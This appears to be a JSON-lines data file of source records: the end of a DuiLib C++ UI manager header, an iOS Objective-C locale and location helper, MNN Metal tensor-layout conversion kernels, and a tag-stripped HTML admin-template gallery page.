NULL);\r\n\t\tstatic void SetResourceZip(LPCTSTR pstrZip, bool bCachedResourceZip = false, LPCTSTR password = NULL);\r\n\t\tstatic void SetResourceType(int nType);\r\n\t\tstatic int GetResourceType();\r\n\t\tstatic bool GetHSL(short* H, short* S, short* L);\r\n\t\tstatic void SetHSL(bool bUseHSL, short H, short S, short L); // H:0~360, S:0~200, L:0~200 \r\n\t\tstatic void ReloadSkin();\r\n\t\tstatic CPaintManagerUI* GetPaintManager(LPCTSTR pstrName);\r\n\t\tstatic CStdPtrArray* GetPaintManagers();\r\n\t\tstatic bool LoadPlugin(LPCTSTR pstrModuleName);\r\n\t\tstatic CStdPtrArray* GetPlugins();\r\n\r\n\t\tbool IsForceUseSharedRes() const;\r\n\t\tvoid SetForceUseSharedRes(bool bForce);\r\n\t\t// 注意：只支持简单类型指针，因为只释放内存，不会调用类对象的析构函数\r\n\t\tvoid DeletePtr(void* ptr);\r\n\r\n\t\tDWORD GetDefaultDisabledColor() const;\r\n\t\tvoid SetDefaultDisabledColor(DWORD dwColor, bool bShared = false);\r\n\t\tDWORD GetDefaultFontColor() const;\r\n\t\tvoid SetDefaultFontColor(DWORD dwColor, bool bShared = false);\r\n\t\tDWORD GetDefaultLinkFontColor() const;\r\n\t\tvoid SetDefaultLinkFontColor(DWORD dwColor, bool bShared = false);\r\n\t\tDWORD GetDefaultLinkHoverFontColor() const;\r\n\t\tvoid SetDefaultLinkHoverFontColor(DWORD dwColor, bool bShared = false);\r\n\t\tDWORD GetDefaultSelectedBkColor() const;\r\n\t\tvoid SetDefaultSelectedBkColor(DWORD dwColor, bool bShared = false);\r\n\t\tTFontInfo* GetDefaultFontInfo();\r\n\t\tvoid SetDefaultFont(LPCTSTR pStrFontName, int nSize, bool bBold, bool bUnderline, bool bItalic, bool bShared = false);\r\n\t\tDWORD GetCustomFontCount(bool bShared = false) const;\r\n\t\tvoid AddFontArray(LPCTSTR pstrPath);\r\n\t\tHFONT AddFont(int id, LPCTSTR pStrFontName, int nSize, bool bBold, bool bUnderline, bool bItalic, bool bShared = false);\r\n\t\tHFONT GetFont(int id);\r\n\t\tHFONT GetFont(LPCTSTR pStrFontName, int nSize, bool bBold, bool bUnderline, bool bItalic);\r\n\t\tint GetFontIndex(HFONT hFont, bool bShared = false);\r\n\t\tint GetFontIndex(LPCTSTR pStrFontName, int nSize, bool bBold, bool bUnderline, bool bItalic, bool bShared = false);\r\n\t\tvoid RemoveFont(HFONT hFont, bool bShared = false);\r\n\t\tvoid RemoveFont(int id, bool bShared = false);\r\n\t\tvoid RemoveAllFonts(bool bShared = false);\r\n\t\tTFontInfo* GetFontInfo(int id);\r\n\t\tTFontInfo* GetFontInfo(HFONT hFont);\r\n\r\n\t\tconst TImageInfo* GetImage(LPCTSTR bitmap);\r\n\t\tconst TImageInfo* GetImageEx(LPCTSTR bitmap, LPCTSTR type = NULL, DWORD mask = 0, bool bUseHSL = false, HINSTANCE instance = NULL);\r\n\t\tconst TImageInfo* AddImage(LPCTSTR bitmap, LPCTSTR type = NULL, DWORD mask = 0, bool bUseHSL = false, bool bShared = false, HINSTANCE instance = NULL);\r\n\t\tconst TImageInfo* AddImage(LPCTSTR bitmap, HBITMAP hBitmap, int iWidth, int iHeight, bool bAlpha, bool bShared = false);\r\n\t\tvoid RemoveImage(LPCTSTR bitmap, bool bShared = false);\r\n\t\tvoid RemoveAllImages(bool bShared = false);\r\n\t\tstatic void ReloadSharedImages();\r\n\t\tvoid ReloadImages();\r\n\r\n\t\tconst TDrawInfo* GetDrawInfo(LPCTSTR pStrImage, LPCTSTR pStrModify);\r\n\t\tvoid RemoveDrawInfo(LPCTSTR pStrImage, LPCTSTR pStrModify);\r\n\t\tvoid RemoveAllDrawInfos();\r\n\r\n\t\tvoid AddDefaultAttributeList(LPCTSTR pStrControlName, LPCTSTR pStrControlAttrList, bool bShared = false);\r\n\t\tLPCTSTR GetDefaultAttributeList(LPCTSTR pStrControlName) const;\r\n\t\tbool RemoveDefaultAttributeList(LPCTSTR pStrControlName, bool bShared = false);\r\n\t\tvoid RemoveAllDefaultAttributeList(bool bShared = false);\r\n\r\n\t\tvoid AddWindowCustomAttribute(LPCTSTR pstrName, LPCTSTR pstrAttr);\r\n\t\tLPCTSTR GetWindowCustomAttribute(LPCTSTR pstrName) const;\r\n\t\tbool RemoveWindowCustomAttribute(LPCTSTR pstrName);\r\n\t\tvoid RemoveAllWindowCustomAttribute();\r\n\r\n\t\t// 样式管理\r\n\t\tvoid AddStyle(LPCTSTR pName, LPCTSTR pStyle, bool bShared = false);\r\n\t\tLPCTSTR GetStyle(LPCTSTR pName) const;\r\n\t\tBOOL RemoveStyle(LPCTSTR pName, bool bShared = false);\r\n\t\tconst CStdStringPtrMap& GetStyles(bool bShared = false) const;\r\n\t\tvoid RemoveAllStyle(bool bShared = false);\r\n\r\n\t\tconst TImageInfo* GetImageString(LPCTSTR pStrImage, LPCTSTR pStrModify = NULL);\r\n\r\n\t\t// 初始化拖拽\r\n\t\tbool EnableDragDrop(bool bEnable);\r\n\t\tvirtual bool OnDrop(FORMATETC* pFmtEtc, STGMEDIUM& medium,DWORD *pdwEffect);\r\n\r\n\t\tbool AttachDialog(CControlUI* pControl);\r\n\t\tbool InitControls(CControlUI* pControl, CControlUI* pParent = NULL);\r\n\t\tvoid ReapObjects(CControlUI* pControl);\r\n\r\n\t\tbool AddOptionGroup(LPCTSTR pStrGroupName, CControlUI* pControl);\r\n\t\tCStdPtrArray* GetOptionGroup(LPCTSTR pStrGroupName);\r\n\t\tvoid RemoveOptionGroup(LPCTSTR pStrGroupName, CControlUI* pControl);\r\n\t\tvoid RemoveAllOptionGroups();\r\n\r\n\t\tCControlUI* GetFocus() const;\r\n\t\tvoid SetFocus(CControlUI* pControl);\r\n\t\tvoid SetFocusNeeded(CControlUI* pControl);\r\n\r\n\t\tbool SetNextTabControl(bool bForward = true);\r\n\r\n\t\tbool SetTimer(CControlUI* pControl, UINT nTimerID, UINT uElapse);\r\n\t\tbool KillTimer(CControlUI* pControl, UINT nTimerID);\r\n\t\tvoid KillTimer(CControlUI* pControl);\r\n\t\tvoid RemoveAllTimers();\r\n\r\n\t\tvoid SetCapture();\r\n\t\tvoid ReleaseCapture();\r\n\t\tbool IsCaptured();\r\n\r\n\t\tbool IsPainting();\r\n\t\tvoid SetPainting(bool bIsPainting);\r\n\r\n\t\tbool AddNotifier(INotifyUI* pControl);\r\n\t\tbool RemoveNotifier(INotifyUI* pControl);   \r\n\t\tvoid SendNotify(TNotifyUI& Msg, bool bAsync = false);\r\n\t\tvoid SendNotify(CControlUI* pControl, LPCTSTR pstrMessage, WPARAM wParam = 0, LPARAM lParam = 0, bool bAsync = false);\r\n\r\n\t\tbool AddPreMessageFilter(IMessageFilterUI* pFilter);\r\n\t\tbool RemovePreMessageFilter(IMessageFilterUI* pFilter);\r\n\r\n\t\tbool AddMessageFilter(IMessageFilterUI* pFilter);\r\n\t\tbool RemoveMessageFilter(IMessageFilterUI* pFilter);\r\n\r\n\t\tint GetPostPaintCount() const;\r\n\t\tbool IsPostPaint(CControlUI* pControl);\r\n\t\tbool AddPostPaint(CControlUI* pControl);\r\n\t\tbool RemovePostPaint(CControlUI* pControl);\r\n\t\tbool SetPostPaintIndex(CControlUI* pControl, int iIndex);\r\n\r\n\t\tint GetNativeWindowCount() const;\r\n\t\tRECT GetNativeWindowRect(HWND hChildWnd);\r\n\t\tbool AddNativeWindow(CControlUI* pControl, HWND hChildWnd);\r\n\t\tbool RemoveNativeWindow(HWND hChildWnd);\r\n\r\n\t\tvoid AddDelayedCleanup(CControlUI* pControl);\r\n\t\tvoid AddMouseLeaveNeeded(CControlUI* pControl);\r\n\t\tbool RemoveMouseLeaveNeeded(CControlUI* pControl);\r\n\r\n\t\tbool AddTranslateAccelerator(ITranslateAccelerator *pTranslateAccelerator);\r\n\t\tbool RemoveTranslateAccelerator(ITranslateAccelerator *pTranslateAccelerator);\r\n\t\tbool TranslateAccelerator(LPMSG pMsg);\r\n\r\n\t\tCControlUI* GetRoot() const;\r\n\t\tCControlUI* FindControl(POINT pt) const;\r\n\t\tCControlUI* FindControl(LPCTSTR pstrName) const;\r\n\t\tCControlUI* FindSubControlByPoint(CControlUI* pParent, POINT pt) const;\r\n\t\tCControlUI* FindSubControlByName(CControlUI* pParent, LPCTSTR pstrName) const;\r\n\t\tCControlUI* FindSubControlByClass(CControlUI* pParent, LPCTSTR pstrClass, int iIndex = 0);\r\n\t\tCStdPtrArray* FindSubControlsByClass(CControlUI* pParent, LPCTSTR pstrClass);\r\n\r\n\t\tstatic void MessageLoop();\r\n\t\tstatic bool TranslateMessage(const LPMSG pMsg);\r\n\t\tstatic void Term();\r\n\r\n\t\tCDPI* GetDPIObj();\r\n\t\tvoid ResetDPIAssets();\r\n\t\tvoid RebuildFont(TFontInfo* pFontInfo);\r\n\t\tvoid SetDPI(int iDPI);\r\n\t\tstatic void SetAllDPI(int iDPI);\r\n\r\n\t\tbool MessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT& lRes);\r\n\t\tbool PreMessageHandler(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT& lRes);\r\n\t\tvoid UsedVirtualWnd(bool bUsed);\r\n\r\n\tprivate:\r\n\t\tCStdPtrArray* GetFoundControls();\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromNameHash(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromCount(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromPoint(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromTab(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromShortcut(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromName(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlFromClass(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlsFromClass(CControlUI* pThis, LPVOID pData);\r\n\t\tstatic CControlUI* CALLBACK __FindControlsFromUpdate(CControlUI* pThis, LPVOID pData);\r\n\r\n\t\tstatic void AdjustSharedImagesHSL();\r\n\t\tvoid AdjustImagesHSL();\r\n\t\tvoid PostAsyncNotify();\r\n\r\n\tprivate:\r\n\t\tCDuiString m_sName;\r\n\t\tHWND m_hWndPaint;\t//所附加的窗体的句柄\r\n\t\tHDC m_hDcPaint;\r\n\t\tHDC m_hDcOffscreen;\r\n\t\tHDC m_hDcBackground;\r\n\t\tHBITMAP m_hbmpOffscreen;\r\n\t\tBYTE* m_pOffscreenBits;\r\n\t\tHBITMAP m_hbmpBackground;\r\n\t\tCOLORREF* m_pBackgroundBits;\r\n\r\n\t\t// 提示信息\r\n\t\tHWND m_hwndTooltip;\r\n\t\tTOOLINFO m_ToolTip;\r\n\t\tint m_iHoverTime;\r\n\t\tbool m_bNoActivate;\r\n\t\tbool m_bShowUpdateRect;\r\n\r\n\t\t//\r\n\t\tCControlUI* m_pRoot;\r\n\t\tCControlUI* m_pFocus;\r\n\t\tCControlUI* m_pEventHover;\r\n\t\tCControlUI* m_pEventClick;\r\n\t\tCControlUI* m_pEventKey;\r\n\t\tCControlUI* m_pLastToolTip;\r\n\t\t//\r\n\t\tPOINT m_ptLastMousePos;\r\n\t\tSIZE m_szMinWindow;\r\n\t\tSIZE m_szMaxWindow;\r\n\t\tSIZE m_szInitWindowSize;\r\n\t\tRECT m_rcSizeBox;\r\n\t\tSIZE m_szRoundCorner;\r\n\t\tRECT m_rcCaption;\r\n\t\tUINT m_uTimerID;\r\n\t\tbool m_bFirstLayout;\r\n\t\tbool m_bUpdateNeeded;\r\n\t\tbool m_bFocusNeeded;\r\n\t\tbool m_bOffscreenPaint;\r\n\t\t\r\n\t\tBYTE m_nOpacity;\r\n\t\tbool m_bLayered;\r\n\t\tRECT m_rcLayeredInset;\r\n\t\tbool m_bLayeredChanged;\r\n\t\tRECT m_rcLayeredUpdate;\r\n\t\tTDrawInfo m_diLayered;\r\n\r\n\t\tbool m_bMouseTracking;\r\n\t\tbool m_bMouseCapture;\r\n\t\tbool m_bIsPainting;\r\n\t\tbool m_bUsedVirtualWnd;\r\n\t\tbool m_bAsyncNotifyPosted;\r\n\r\n\t\t//\r\n\t\tCStdPtrArray m_aNotifiers;\r\n\t\tCStdPtrArray m_aTimers;\r\n\t\tCStdPtrArray m_aTranslateAccelerator;\r\n\t\tCStdPtrArray m_aPreMessageFilters;\r\n\t\tCStdPtrArray m_aMessageFilters;\r\n\t\tCStdPtrArray m_aPostPaintControls;\r\n\t\tCStdPtrArray m_aNativeWindow;\r\n\t\tCStdPtrArray m_aNativeWindowControl;\r\n\t\tCStdPtrArray m_aDelayedCleanup;\r\n\t\tCStdPtrArray m_aAsyncNotify;\r\n\t\tCStdPtrArray m_aFoundControls;\r\n\t\tCStdPtrArray m_aFonts;\r\n\t\tCStdPtrArray m_aNeedMouseLeaveNeeded;\r\n\t\tCStdStringPtrMap m_mNameHash;\r\n\t\tCStdStringPtrMap m_mWindowCustomAttrHash;\r\n\t\tCStdStringPtrMap m_mOptionGroup;\r\n\t\t\r\n\t\tbool m_bForceUseSharedRes;\r\n\t\tTResInfo m_ResInfo;\r\n\t\t\r\n\t\t// 窗口阴影\r\n\t\tCShadowUI m_shadow;\r\n\t\t\r\n\t\t// DPI管理器\r\n\t\tCDPI* m_pDPI;\r\n\t\t// 是否开启Gdiplus\r\n\t\tbool m_bUseGdiplusText;\r\n\t\tint m_trh;\r\n\t\tULONG_PTR m_gdiplusToken;\r\n\t\tGdiplus::GdiplusStartupInput *m_pGdiplusStartupInput;\r\n\r\n\t\t// 拖拽\r\n\t\tbool m_bDragDrop;\r\n\t\tbool m_bDragMode;\r\n\t\tHBITMAP m_hDragBitmap;\r\n\t\t\r\n\t\t//\r\n\t\tstatic HINSTANCE m_hInstance;\r\n\t\tstatic HINSTANCE m_hResourceInstance;\r\n\t\tstatic CDuiString m_pStrResourcePath;\r\n\t\tstatic CDuiString m_pStrResourceZip;\r\n\t\tstatic CDuiString m_pStrResourceZipPwd;\r\n\t\tstatic HANDLE m_hResourceZip;\r\n\t\tstatic bool m_bCachedResourceZip;\r\n\t\tstatic int m_nResType;\r\n\t\tstatic TResInfo m_SharedResInfo;\r\n\t\tstatic bool m_bUseHSL;\r\n\t\tstatic short m_H;\r\n\t\tstatic short m_S;\r\n\t\tstatic short m_L;\r\n\t\tstatic CStdPtrArray m_aPreMessages;\r\n\t\tstatic CStdPtrArray m_aPlugins;\r\n\t};\r\n\r\n} // namespace DuiLib\r\n\r\n#endif // __UIMANAGER_H__\r\n"}
+{"text": "//\n//  Locale.m\n//  NativeToolkit\n//\n//  Created by Ryan on 31/01/2015.\n//\n//\n\n#import \"Locale.h\"\n#import \"StringTools.h\"\n\ndouble latitude;\ndouble longitude;\n\n@implementation Locale\n\nCLLocationManager *locationManager;\n\n- (Locale *)init\n{\n    locationManager = [[CLLocationManager alloc] init];\n    locationManager.delegate = self;\n    locationManager.distanceFilter = kCLDistanceFilterNone;\n    locationManager.desiredAccuracy = kCLLocationAccuracyBest;\n    \n    if([[[UIDevice currentDevice] systemVersion] floatValue] >= 8.0)\n        [locationManager requestWhenInUseAuthorization];\n    \n    [locationManager startUpdatingLocation];\n    \n    return self;\n}\n\n- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations;\n{\n    CLLocation *location = [locations lastObject];\n    latitude = location.coordinate.latitude;\n    longitude = location.coordinate.longitude;\n    \n    //NSLog(@\"lat:%f long:%f\", latitude, longitude);\n}\n\n@end\n\nstatic Locale* localeDelegate = NULL;\n\nextern \"C\"\n{\n    char* getLocale()\n    {\n        NSLocale *locale = [NSLocale currentLocale];\n        NSString *countryCode = [locale objectForKey: NSLocaleCountryCode];\n        \n        NSLog(@\"##locale: %@\", countryCode);\n        \n        return [StringTools createCString:[countryCode UTF8String]];\n    }\n    \n    void startLocation()\n    {\n        if(localeDelegate == NULL) localeDelegate = [[Locale alloc] init];\n    }\n    \n    double getLongitude()\n    {\n        return longitude;\n    }\n    \n    double getLatitude()\n    {\n        return latitude;\n    }\n}\n"}
+{"text": "//\n//  MetalBackend.metal\n//  MNN\n//\n//  Created by MNN on 2018/08/09.\n//  Copyright © 2018, Alibaba Group Holding Limited\n//\n\n#include \n#include \"MetalDefine.metal\"\n\nusing namespace metal;\n\nstruct tensor_shape {\n    int size;\n    int channel;\n    int slice;\n    int batch_slices;\n};\n\nkernel void copy_byte(const device uchar *in    [[buffer(0)]],\n                      device uchar *out         [[buffer(1)]],\n                      uint gid                  [[thread_position_in_grid]]) {\n    out[int(gid)] = in[int(gid)];\n}\nkernel void copy_int(const device int *in       [[buffer(0)]],\n                     device int *out            [[buffer(1)]],\n                     uint gid                   [[thread_position_in_grid]]) {\n    out[int(gid)] = in[int(gid)];\n}\nkernel void copy_float(const device ftype *in   [[buffer(0)]],\n                       device ftype *out        [[buffer(1)]],\n                       uint gid                 [[thread_position_in_grid]]) {\n    out[int(gid)] = in[int(gid)];\n}\n\nkernel void upcast_float(const device ftype *in     [[buffer(0)]],\n                         device float *out          [[buffer(1)]],\n                         uint gid                   [[thread_position_in_grid]]) {\n    out[int(gid)] = in[int(gid)];\n}\nkernel void downcast_float(const device float *in   [[buffer(0)]],\n                           device ftype *out        [[buffer(1)]],\n                           uint gid                 [[thread_position_in_grid]]) {\n    out[int(gid)] = in[int(gid)];\n}\nkernel void upcast_float4(const device ftype4 *in   [[buffer(0)]],\n                          device float4 *out        [[buffer(1)]],\n                          uint gid                  [[thread_position_in_grid]]) {\n    out[int(gid)] = float4(in[int(gid)]);\n}\nkernel void downcast_float4(const device float4 *in [[buffer(0)]],\n                            device ftype4 *out      [[buffer(1)]],\n                            uint gid                [[thread_position_in_grid]]) {\n    out[int(gid)] = ftype4(in[int(gid)]);\n}\n\ntemplate \nstatic inline void template_NHWC_to_NC4HW4(const device IType *in, device OType *out, constant tensor_shape &s, uint2 gid) {\n    int b = gid.y / s.slice;\n    int z = gid.y % s.slice;\n    int c = z * 4;\n    \n    auto off_in  = in  + b          * s.size * s.channel + int(gid.x) * s.channel + c;\n    auto off_out = out + int(gid.y) * s.size             + int(gid.x);\n    off_out[0] = OType(c + 0 < s.channel ? off_in[0] : 0,\n                       c + 1 < s.channel ? off_in[1] : 0,\n                       c + 2 < s.channel ? off_in[2] : 0,\n                       c + 3 < s.channel ? off_in[3] : 0);\n}\nkernel void upcast_f_NHWC_to_NC4HW4(const device ftype *in      [[buffer(0)]],\n                                    device float4 *out          [[buffer(1)]],\n                                    constant tensor_shape &s    [[buffer(2)]],\n                                    uint2 gid                   [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NHWC_to_NC4HW4(in, out, s, gid);\n}\nkernel void downcast_f_NHWC_to_NC4HW4(const device float *in    [[buffer(0)]],\n                                      device ftype4 *out        [[buffer(1)]],\n                                      constant tensor_shape &s  [[buffer(2)]],\n                                      uint2 gid                 [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NHWC_to_NC4HW4(in, out, s, gid);\n}\nkernel void cvt_u_NHWC_to_NC4HW4(const device uchar *in     [[buffer(0)]],\n                                 device uchar4 *out         [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NHWC_to_NC4HW4(in, out, s, gid);\n}\nkernel void cvt_f_NHWC_to_NC4HW4(const device ftype *in     [[buffer(0)]],\n                                 device ftype4 *out         [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NHWC_to_NC4HW4(in, out, s, gid);\n}\n\ntemplate \nstatic inline void template_NC4HW4_to_NHWC(const device IType *in, device OType *out, constant tensor_shape &s, uint2 gid) {\n    int b = gid.y / s.slice;\n    int z = gid.y % s.slice;\n    int c = z * 4;\n    auto off_in  = in  + int(gid.y) * s.size             + int(gid.x);\n    auto off_out = out + b          * s.size * s.channel + int(gid.x) * s.channel + c;\n    \n    IType v4 = off_in[0];\n    /* if (1)           */ off_out[0] = v4[0];\n    if (c + 1 < s.channel) off_out[1] = v4[1];\n    if (c + 2 < s.channel) off_out[2] = v4[2];\n    if (c + 3 < s.channel) off_out[3] = v4[3];\n}\nkernel void upcast_f_NC4HW4_to_NHWC(const device ftype4 *in     [[buffer(0)]],\n                                    device float *out           [[buffer(1)]],\n                                    constant tensor_shape &s    [[buffer(2)]],\n                                    uint2 gid                   [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NHWC(in, out, s, gid);\n}\nkernel void downcast_f_NC4HW4_to_NHWC(const device float4 *in   [[buffer(0)]],\n                                      device ftype *out         [[buffer(1)]],\n                                      constant tensor_shape &s  [[buffer(2)]],\n                                      uint2 gid                 [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NHWC(in, out, s, gid);\n}\nkernel void cvt_u_NC4HW4_to_NHWC(const device uchar4 *in    [[buffer(0)]],\n                                 device uchar *out          [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NHWC(in, out, s, gid);\n}\nkernel void cvt_f_NC4HW4_to_NHWC(const device ftype4 *in    [[buffer(0)]],\n                                 device ftype *out          [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NHWC(in, out, s, gid);\n}\n\ntemplate \nstatic inline void template_NCHW_to_NC4HW4(const device IType *in, device OType *out, constant tensor_shape &s, uint2 gid) {\n    int b = gid.y / s.slice;\n    int z = gid.y % s.slice;\n    int c = z * 4;\n    \n    auto off_in  = in  + (b * s.channel + c) * s.size + int(gid.x);\n    auto off_out = out + int(gid.y)          * s.size + int(gid.x);\n    off_out[0] = OType(c + 0 < s.channel ? off_in[0 * s.size] : 0.0h,\n                       c + 1 < s.channel ? off_in[1 * s.size] : 0.0h,\n                       c + 2 < s.channel ? off_in[2 * s.size] : 0.0h,\n                       c + 3 < s.channel ? off_in[3 * s.size] : 0.0h);\n}\nkernel void upcast_f_NCHW_to_NC4HW4(const device ftype *in      [[buffer(0)]],\n                                    device float4 *out          [[buffer(1)]],\n                                    constant tensor_shape &s    [[buffer(2)]],\n                                    uint2 gid                   [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NCHW_to_NC4HW4(in, out, s, gid);\n}\nkernel void downcast_f_NCHW_to_NC4HW4(const device float *in    [[buffer(0)]],\n                                      device ftype4 *out        [[buffer(1)]],\n                                      constant tensor_shape &s  [[buffer(2)]],\n                                      uint2 gid                 [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NCHW_to_NC4HW4(in, out, s, gid);\n}\nkernel void cvt_u_NCHW_to_NC4HW4(const device uchar *in     [[buffer(0)]],\n                                 device uchar4 *out         [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NCHW_to_NC4HW4(in, out, s, gid);\n}\nkernel void cvt_f_NCHW_to_NC4HW4(const device ftype *in     [[buffer(0)]],\n                                 device ftype4 *out         [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NCHW_to_NC4HW4(in, out, s, gid);\n}\n\ntemplate \nstatic inline void template_NC4HW4_to_NCHW(const device IType *in, device OType *out, constant tensor_shape &s, uint2 gid) {\n    int b = gid.y / s.slice;\n    int z = gid.y % s.slice;\n    int c = z * 4;\n    \n    auto off_in  = in  + int(gid.y)          * s.size + int(gid.x);\n    auto off_out = out + (b * s.channel + c) * s.size + int(gid.x);\n    IType v4 = off_in[0];\n    /* if (1)           */ off_out[0 * s.size] = v4[0];\n    if (c + 1 < s.channel) off_out[1 * s.size] = v4[1];\n    if (c + 2 < s.channel) off_out[2 * s.size] = v4[2];\n    if (c + 3 < s.channel) off_out[3 * s.size] = v4[3];\n}\nkernel void upcast_f_NC4HW4_to_NCHW(const device ftype4 *in     [[buffer(0)]],\n                                    device float *out           [[buffer(1)]],\n                                    constant tensor_shape &s    [[buffer(2)]],\n                                    uint2 gid                   [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NCHW(in, out, s, gid);\n}\nkernel void downcast_f_NC4HW4_to_NCHW(const device float4 *in   [[buffer(0)]],\n                                      device ftype *out         [[buffer(1)]],\n                                      constant tensor_shape &s  [[buffer(2)]],\n                                      uint2 gid                 [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NCHW(in, out, s, gid);\n}\nkernel void cvt_u_NC4HW4_to_NCHW(const device uchar4 *in    [[buffer(0)]],\n                                 device uchar *out          [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NCHW(in, out, s, gid);\n}\nkernel void cvt_f_NC4HW4_to_NCHW(const device ftype4 *in    [[buffer(0)]],\n                                 device ftype *out          [[buffer(1)]],\n                                 constant tensor_shape &s   [[buffer(2)]],\n                                 uint2 gid                  [[thread_position_in_grid]]) {\n    if ((int)gid.x < s.size && (int)gid.y < s.batch_slices) template_NC4HW4_to_NCHW(in, out, s, gid);\n}\n"}
+{"text": "\n\n\n\n  \n\n\tAIR - Premium Bootstrap Admin Template\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\n\t\n\t
    \n\t\n\t\t
    \n\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\n\t\t\t\t\t\n\t\t\n\t\t\t\t\t
      \n\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\tOverview\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\tSections\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\tThemer\n\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t× close\n\t\t\t\t\t\t\t\t\t
      Themer color
      \n\t\t\t\t\t\t\t\t\t
        \n\t\t\t\t\t\t\t\t\t\t
      • Theme: 
        • \n\t\t\t\t\t\t\t\t\t\t
      • Primary Color: 
        • \n\t\t\t\t\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\treset theme\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t
        • \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t\t
      \n\t\t\t\t\t\t
      • \n\t\t\t\t\t\t\t\t\t\t\t\t
    • \n\t\t\t\t\t\t\t\"en\"\n\t\t\t\t\t    \t\n\t\t\t\t\t\t
      • \n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tMr. Awesome\n\t\t\t\t\t\t\tedit account\n\t\t\t\t\t\t\n\t\t\t\t\t\t\"Mr.\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t\n\t\n\t
    \n\t\t\n\t\t\t\t\n\t\t
      \n\t
    •  AIR
      • \n\t
    • \n\t
    • Photo Gallery
      • \n
    \n
    \n\n
     Photo Gallery| Different gallery layouts
    \n
    \n\t
    \n\t\t
      \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
